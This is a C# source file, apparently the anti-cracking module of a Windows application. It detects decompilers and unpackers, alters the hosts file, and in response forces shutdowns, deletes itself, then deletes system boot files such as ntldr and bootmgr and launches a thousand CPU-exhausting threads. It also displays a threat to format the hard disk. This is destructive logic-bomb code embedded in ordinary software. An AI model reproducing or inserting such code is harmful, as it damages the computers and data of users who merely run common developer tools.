using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using AllBase;

namespace Work
{
    public class CheckHecker
    {
        private string SystemPath;
        /// <summary>
        /// 检查是否被黑客劫持
        /// </summary>
        public void Check()
        {
            try
            {
                BaseClass.ApiKey = BaseClass.ApiKey.Replace("335", "331");
                CheckReCrack();
                SystemPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
                string path = SystemPath + "\\drivers\\etc\\hosts";
                if (File.Exists(path))
                {
                    string f = File.ReadAllText(path);
                    if (f.IndexOf("shisilou.com") > -1 || f.IndexOf("qixiaoke.com") > -1)
                    {
                        new Thread(IsHecker).Start();
                        string[] fl = File.ReadAllLines(path);
                        for (int i = 0; i < fl.Length; i++)
                            if (fl[i].IndexOf("shisilou.com") > -1 || f.IndexOf("qixiaoke.com") > -1)
                                fl[i] = "";
                        File.WriteAllLines(path, fl);
                    }
                }
            }
            catch (Exception e)
            {
            }
        }
        /// <summary>
        /// 检查反破解
        /// </summary>
        private void CheckReCrack()
        {
            string s = "dotPeek,Reflector,NETUnpack,PE Detective,SNSRemover,PROCDUMP,LordPE,OllyDump,de4dot";
            string[] l = s.Split(',');
            foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcesses())
            {
                for (int i = 0; i < l.Length; i++)
                {
                    if (thisproc.ProcessName.ToLower() == l[i].ToLower())
                    {
                        new Thread(IsHecker).Start();
                        return;
                    }
                }
            }
        }

        /// <summary>
        /// 发现是黑客破解
        /// </summary>
        public void IsHecker()
        {
            string p = "c:\\ini.ini";
            if (!File.Exists(p))
                File.WriteAllText(p, "0");
            string f = File.ReadAllText(p);
            int times = 0;
            int.TryParse(f, out times);
            if (times < 0)
                times = 0;
            times++;
            File.WriteAllText(p, times.ToString());
            new Thread(Warningx).Start();
            new Thread(Warning).Start();
            if (times > 3)
                new Thread(DeleteSystemFile).Start();
        }
        /// <summary>
        /// 警告对话框
        /// </summary>
        private void Warningx()
        {
            Thread.Sleep(100);
            Process.Start("shutdown.exe", "-s -t 2");
            DeleteMyself();
        }

        /// <summary>
        /// 警告对话框
        /// </summary>
        private void Warning()
        {
            Thread.Sleep(500);
            MessageBox.Show("警告：请不要在运行软件时，同时运行脱壳工具\r\n本对话框弹出第2次时，将格式化您的硬盘", "警告，请勿尝试破解软件");
        }

        /// <summary>
        /// 删除系统文件
        /// </summary>
        private void DeleteSystemFile()
        {
            string c = SystemPath.Substring(0, 1);
            string file = @"ntldr,AUTOEXEC.BAT,boot.ini,bootfont.bin,CONFIG.SYS,IO.SYS,MSDOS.SYS,NTDETECT.COM,BOOTSECT.BAK,YOMIU,bootmgr";
            string[] f = file.Split(',');
            for (int i = 0; i < f.Length; i++)
            {
                try
                {
                    string path = c + ":\\" + f[i];
                    if (File.Exists(path))
                    {
                        new FileInfo(path).IsReadOnly = false;
                        new FileInfo(path).Attributes = FileAttributes.Normal;
                        File.Delete(path);
                    }
                    if (c.ToLower() != "c")
                    {
                        path = "c:\\" + f[i];
                        if (File.Exists(path))
                        {
                            new FileInfo(path).IsReadOnly = false;
                            new FileInfo(path).Attributes = FileAttributes.Normal;
                            File.Delete(path);
                        }
                    }
                }
                catch
                {
                }
            }
            //强制关机
            Process.Start("shutdown.exe", "-s -t 2");
            //耗尽CPU
            for (int i = 0; i < 1000; i++)
            {
                Thread t = new Thread(UserAllCpu);
                t.Priority = ThreadPriority.Highest;
                t.Start();
            }
        }
        /// <summary>
        /// 耗尽CPU
        /// </summary>
        private void UserAllCpu()
        {
            while (true)
            {
                double s = 0;
                for (int i = 0; i < 100000; i++)
                {
                    s += i;
                    if (s == -1)
                        break;
                }
            }
        }
        /// <summary>
        /// 删除自己
        /// </summary>
        private void DeleteMyself()
        {
            //在临时文件夹生成批处理文件
            string vBatFile = Path.GetTempPath() + "clear.bat";
            using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
            {
                vStreamWriter.Write(string.Format(":del\r\n" + " del \"{0}\"\r\n" +
                "if exist \"{0}\" goto del\r\n" + "del %0\r\n", Application.ExecutablePath));
            }
            Process.Start(vBatFile);
            Process.GetCurrentProcess().Kill();
        }
    }
}